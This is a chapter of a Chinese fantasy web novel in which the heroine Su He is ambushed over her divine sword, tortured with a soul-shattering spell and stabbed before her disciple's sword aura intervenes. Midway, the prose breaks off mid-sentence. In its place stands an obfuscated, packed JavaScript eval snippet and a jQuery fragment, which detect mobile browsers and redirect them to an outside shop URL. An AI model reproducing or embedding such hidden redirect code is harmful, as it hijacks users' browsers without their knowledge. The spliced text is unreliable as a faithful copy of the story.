41.妖市(二十)
作品:《反派徒弟拯救计划》 片刻过后,庄行缓步朝苏禾走去,看向苏禾的目光一片森冷。
直到这会儿,苏禾先前心底迸发出来的不安才彻底化为了实质。
庄行不对劲!
她自问跟庄行也算是有过几面之缘,有过些接触,可从来没在庄行脸上看到过这样的冷意,完全像是变了一个人!
“庄公子,你怎么了?”苏禾一边问,一边不断往后退。
此时林间不知从哪刮过来一阵凉雾,弥漫进她跟庄行之间,给庄行蒙上了一层诡异的面纱,像从地底下爬上来的恶灵。
庄行依旧什么话也没说,只一步步地逼近苏禾,那双向来温和的眼睛里,此刻充斥起了野兽盯紧猎物时散发出来的杀意。
他要杀她!
一个可怕的念头如同电光般,在苏禾的脑海里乍然闪现。
“你、你和那些黑衣人,是一伙的?!”
包括入夜那会儿,他特意叫住他们,邀请他们去客栈吃饭,原来是早有预谋!
这么说来,那谢昕……
苏禾猛地回头,果然就见谢昕不知何时动身,来到了她的身后,扬起手里的短刀就是朝她的后心狠狠扎来!
苏禾身体反应比脑子快一步,险险后仰避开,刀面反射出来的冷光在她身前一划而过。
几根发丝瞬间被刀刃削断,飘飘忽忽地落地。
苏禾再不跟他们多废话一句,隔空抓出怕死剑,朝着庄行和谢昕二人就是一剑挥下。
磅礴剑气形成锋利的光片横扫出去,惊落林间满树的枝叶。
庄行二人见状,瞳孔一缩,连忙后退避开,同时手里各自抓出本命剑,准备迎战!
可谁知当他们刚刚躲开,正要迎战时,面前的苏禾竟转身撒丫子跑了,跑了……
苏禾对自己的斤两还是有自知之明的,硬碰硬她根本不是庄行和谢昕两个人的对手,只得选个跟寂玄相反的方向拼命狂奔。
诚然这种时候去找寂玄,可能还能获得一线生机,可是苏禾也知道,庄行和谢昕绝不会放过她,一旦去找寂玄,意味着把他们带去给寂玄了。
寂玄那边这会儿到底是个什么情况还不明朗,不能再给他带去危险了。
必须,要把庄行和谢昕那两个人引得远远的!
苏禾咬紧牙关奋力奔跑,时不时地回头望上一眼。
不出她所料,庄行和谢昕也是在后面奋力地追着她,不惜御灵飞行。
苏禾还没能学会灵活运用自己的灵力,但这会儿也是顾不得了,只能笨拙地释放出灵力,摇摇晃晃飞身而起,在林间拼了命地逃。
此时客栈外,黑沉沉的夜色下一片尸海,四周出奇地安静,连风声都静止了,只余满地尸体横七竖八地躺着。
而在这片尸海中央,一少年单膝跪地,浑身浴血,染得一张俊颜秾丽稠艳。
少年抬起手,玉白长指弯起骨节,轻轻抹去唇畔血迹,另一手拄着贪生剑,身形晃悠地站起来。
鲜血从他的指缝间溢出,缓缓流到剑身上,顺着古朴的纹路一路往下。
贪生剑骤然嗡鸣。
寂玄垂眸睨着它,似能感应到它传递出来的情绪,不是振奋,也不是害怕,而是巨大的担忧。
它在担忧什么?
一个不妙的猜想于寂玄心中陡然冒出来。
寂玄双目死死地看向前方深不可测的密林。
贪生剑和怕死剑皆为神剑,双剑一体,若一方担忧,那另一方岂非……
糟了,师尊!
少年身形一晃,原地消失。
·
苏禾在林中逃着逃着,后方一道灵力极速袭来,她慌忙给自己支起一面防御屏障。
奈何她的修为终究比不过庄行二人,屏障只维持了一息工夫,猝然碎裂。
灵力击碎屏障后,苏禾只得横剑抵挡,但依旧被其上残余的力量击飞了出去。
苏禾从半空中坠落,重重地摔到地上,只觉得整个胸腔像是被人用大锤捶打过一样,闷闷发疼,逼得她“噗”地一口,吐出一汪鲜血。
庄行和谢昕接连飞身落至苏禾身前。
苏禾试图从地上爬起来继续逃命,可无论手脚怎么用力,都无法支撑起身体,更不用说提剑反抗了,只能不断地后退。
直到后背靠上一根树干,退无可退,苏禾知道,自己终究是逃不过这一劫了。
“苏姑娘,抱歉了。”庄行走到苏禾面前,浅浅一笑,举起手里的长剑就是朝苏禾用力刺来。
“等一下!”苏禾骇然,闭上眼睛抬手挡住自己,大声道。
眼看长剑就要刺进她的胸膛里了,庄行闻言,蓦地止住。
苏禾这才敢重新睁开眼睛,目光颤颤地停到自己身前,停在那道泛着冷光的剑尖上。
“你停下干嘛?还不快杀了她?!”谢昕着急,不断回头往身后看。
她可没有忘记,苏禾还有一个徒弟呢,也不知道客栈那边的情况怎么样了,但想来十多名玄级下等仙士,任那寂玄有再大的本事也逃脱不了。
除非寂玄有地级境修为,不过那是不可能的,她早就调查过了,只有各大宗门的宗主,包括苏禾才有地级境。
庄行温言劝道:“苏姑娘,我劝你还是不要反抗的好,你在上阳宗受伤一事不是什么秘密,如今你早已没了地级境修为,若愿意乖乖受死,我们还能给你个痛快。”
苏禾没想到这对兄妹背地里居然把她调查得一清二楚了,看来他们当初接近她,本是有备而来。
苏禾笑了,笑得无奈又讽刺:“为了两把神剑,至于吗你们?”
除此之外,她实在想不到,自己和寂玄身上还有什么值得这两人惦念的。
庄行眉头一挑,目中流露出欣赏之色:“倒还有几分聪明劲,这么快就反应过来了,倒让我有些舍不得杀你了。”
话落,苏禾还没说什么,边上的谢昕听得来气,一把推开庄行:“你个废物!都什么时候了还满脑子情情爱爱?!”
被看穿了心思,庄行只得尴尬地摸摸鼻子:“昕儿,你误会了。”
他是起了一丁点怜香惜玉之情,那不是男人嘛,喜爱美人乃人之常情。
谢昕却不管他情不情的,一剑指向苏禾:“狐媚子就是狐媚子!到哪都爱勾引人!看我怎么杀了你!”
说罢,谢昕执剑,直直地冲着苏禾的心口刺去。
苏禾眉心狂跳,连忙歪过身体企图避开这一剑,但到底还是晚了一步,剑尖“噗嗤”一声,直直地戳进她的肩膀。
剧痛袭来,苏禾的脸一下白了。
鲜血顺着皮肉与剑面的缝隙汩汩往外涌,没两下就洇湿了她胸前的衣襟,在白色中衣上留下一道刺目的殷红。
苏禾倒抽一口凉气,低头看眼自己的伤势,不由苦笑,还好,她躲了一下,没有伤到要害,可这也只不过是让自己多活片刻罢了。
谢昕见自己没能一剑戳死苏禾,俏脸顿时变得气急败坏,拔出剑还要再刺,苏禾却又开了口:“不就是想要神剑吗?我、我给你们就是了。”
当啷……
苏禾虚虚抬手,将手中的怕死剑扔向一旁。
“剑给你们,你们就看在我们还算有过些交情的份上,放我一命,成不成?”苏禾说得诚恳。
对她来说,自己的小命才是最重要的,其它的不过都是些身外之物,没了就没了。
然而她能这么想,庄行和谢昕二人却不能。
谢昕听了苏禾的话,忍不住笑出声来,越笑越大,笑得前俯后仰,甚至还要扶住庄行才能让自己保持站立。
“义兄,你看她,你看她那个傻样哈哈哈,她以为神剑是她想让就能让的吗?我都怀疑她到底是怎么长这么大的了,修炼上的常识她好像一窍不通啊哈哈……”
不说谢昕,就是庄行面上也闪过诧异之色,不过还是愿意跟苏禾解释两句:“苏姑娘天真了,神器和普通法器可大不同相同,普通法器是人选器,神器却是器选人,且神器与魂灵绑缚,并非你以为的想放弃就能放弃。”
什么?还能这样?这确实是苏禾没料到的。
与魂灵绑缚,那若想要脱离,岂非只能……
“没错,想要拿到神器,唯有一个办法。”谢昕俯身弯腰,凑近苏禾,脸上写满了对苏禾的嘲弄,“那就是碎了前主人的魂!”
轰然地,掷地有声的话音如雷鸣般在苏禾耳边炸响。
碎魂。
全九州最恶毒的杀人方式,被杀者要承受来自魂灵深处碎裂的痛,那可比□□所带来的痛还要强过数倍!
书中原主就是这么死在寂玄手里的。
苏禾手掌撑着地面,根根手指蜷缩,指尖用力地抠进泥土里。
这算是宿命吗?哪怕没有寂玄,她也终将逃不过被碎魂的结局。
苏禾唇色苍白,自嘲地摇摇头笑起来,笑容里满是苦涩:“这个太疼了,你们,你们能不能,换一种方式?”
虽然都是死,但只要不是被碎魂,便也能算作她对宿命的一种抗争了。
谢昕听后语塞不已:“你以为这里是市井?还能讨价还价?!”
她就没见过这么厚脸皮,这么没骨气的人。
不想再跟苏禾废话了。
谢昕面露狠厉,挥起长剑,再次冲着苏禾的心脏一剑刺去!
剑光在苏禾的瞳孔中极速放大,她想躲,可胸腔里的闷痛加上肩膀上的伤,叫她动作迟缓,根本躲避不及。
苏禾只得不甘地闭上眼睛。
来到这方世界不过短短一个月左右的时间,没想到小命就要交代在这里了。
九州那么多美食她还没有尝过,寂玄的身世她还没有陪寂玄去找过,甚至破落门派,她也还没回去过一趟,就再也见不到师兄师姐们了吗?
太多的遗憾,可惜,都完不成了。
铮!!
一记刺耳的金属音突然在苏禾面前爆开。
肃杀的剑气迎面拂来,拂开苏禾额角处的碎发,惊得苏禾浑身一颤。
与此同时,预想中的疼痛并没有到来。
这是怎么一回事?
苏禾茫然地睁开双眼,当她看清眼前发生的一幕后,诧异得连身上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861033|185430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤都暂时忘记了。
一柄威风凛凛的神剑,剑气大盛,携带着满身剑光,径自横亘到她身前,替她死死抵住谢昕刺来的剑尖!
苏禾心头震动,无论如何也没有想到,怕死剑居然会自发地飞过来替主人挡伤。
可刚才,她明明已经弃了它。
苏禾忽地不知从哪生出来了一股力气,使尽浑身解数地想要站起身,哪怕不为自己,也该为这柄神剑,不轻易低头认输。
可谢昕却不会给苏禾半点重振的机会,立马急声催促庄行:“义兄!你还愣着干什么?!还不快过来帮忙?!”
庄行完全沉浸在了神剑护主所带来的震惊里,直到谢昕唤他他才终于回过神,忙忙上前帮忙。
他挥动衣袖,灵力自袖间甩出,直直地击向怕死剑。
又一次剧烈的“铮”响,怕死剑被灵力击飞出去,“当啷”掉落到几丈开外。
没了神剑的抵挡,庄行同样挥剑刺向苏禾。
然而更令他们没想到的一幕发生了,被击飞出去的神剑,剑身疯狂震动起来,竟“嗖”地一下再次飞射回来,企图挡住庄行。
庄行被逼得无法,只得调转剑尖方向,和怕死剑的剑尖针锋相对到一起。
这一接触,庄行心中的惊叹可谓一浪高过一浪。
他料想到神剑绝非凡品,却还是低估了神剑的威力。
神剑不仅懂得护主,更是连自身携带的剑气与灵力也都不弱,甚至还需要他调动自己体内的灵力源源不断输出,才能与之相抗衡。
难怪全九州的仙士都对神剑趋之若鹜,这样的诱惑谁人能捱得住?
谢昕见庄行需要分神对付神剑,暗道这是个好机会,她定要一举取了苏禾的性命!
她收起剑,腾出双手,十指翻飞掐诀,结出一道灵印,再猛地往前一推,打进苏禾的眉心。
霎时,苏禾只觉得脑子一疼,疼得好似快要裂开了一般。
一声闷痛自她紧闭的牙关里溢出,身体立时歪向旁边,剧烈地颤抖起来。
这是,传说中的碎魂之术!
苏禾清晰地感觉到,自己的魂灵与肉身开始不断拉扯,时而重合,时而分离,如同千万只噬骨之虫钻进了脑子里,疯狂啃咬她的每一根神经。
谢昕悠闲地漫步至苏禾面前,双手环胸,垂眸俯视脚下,痛苦到双手抱头,满地打滚的苏禾。
“痛吗?”谢昕屈膝蹲下,一把抓住苏禾的头发,迫使苏禾抬起脸来面对她。
她咧开嘴,从牙缝里挤出声来:“痛就喊啊,都到这种时候了,你还装给谁看呢?在城主府的时候你不是很能耐吗?你的师兄护着你,你的师姐护着你,你的徒弟护着你,这也就罢了,偏偏连我的义兄也护着你!还有那把破神剑,它也护着你,凭什么?!”
“你如今不过一个修为低弱的废物,我真想不明白,神剑怎么会选择你?它为什么会选择认你为主?!”
谢昕越说,心里的不服与嫉恨越是疯狂地倾泻出来,抓着苏禾头发的手再次用力一扯。
苏禾痛到呼吸窒住,脑袋后仰,充血的脖颈弯出一道长弧,青筋于皮下突突地跳。
视野里,满天枝桠撕碎夜幕,照不进来一丝光亮,逐渐变得模糊,最后被密密麻麻的黑点子占据。
苏禾眯了下眼睛,头皮的痛,魂灵的痛,还有身上伤口传来的痛,每一层痛楚都在侵蚀她的意识,她其实已经不太能看得清东西了,甚至连谢昕说了什么,都不太能听清了。
要死了吗?
“你说啊!为什么?!”谢昕不停地问,手中再次抓出一柄短刀,手起刀落。
噗嗤!
刀子狠狠扎进苏禾的胸膛,刺破血肉,飞溅开几滴滚烫的血液,砸到谢昕脸上。
谢昕“桀桀”地笑起来,手腕转动,连带着刀刃左右来回转动,将苏禾刮骨剜肉。
苏禾终是抑制不住剧痛,低低地嘶吼出声。
然而很快,她又咬住自己的下唇,将痛呼声咽了回去。
眼下尚且不知寂玄的情况,即便寂玄还活着,恐怕也已重伤,若听得她的声音,必定寻来。
一旦寻来,重伤的寂玄如何敌得过庄行和谢昕两人?
想到这,苏禾忽然坦然下来了,如果今晚注定要死,那死一个总比死两个强。
苏禾阖上双目,做好了从容赴死的准备。
但就在这时,密林里突然刮起一阵强烈的剑气,带着令人胆寒的杀意席卷而来。
剑气所过之处,树木摧枯拉朽般地被削平,断开的枝桠尽数化作利刃,朝着庄行和谢昕二人飞射而去。
庄行率先察觉到身后有动静,连连侧目,结果还没等他看清是什么,身体就被射来的枝桠刺飞了出去。
危急关头,庄行只来得及堪堪给自己支起一层防御屏障,并提醒谢昕一句:“小心!!”
可他的这些反应到底还是迟了。
防御屏障挡去后面的枝桠,却没能挡住最前方的一根,“噗嗤”一声射穿他的肩胛骨,使他倒飞出去,再“笃”地钉进一株粗壮的树干,悬空挂起。

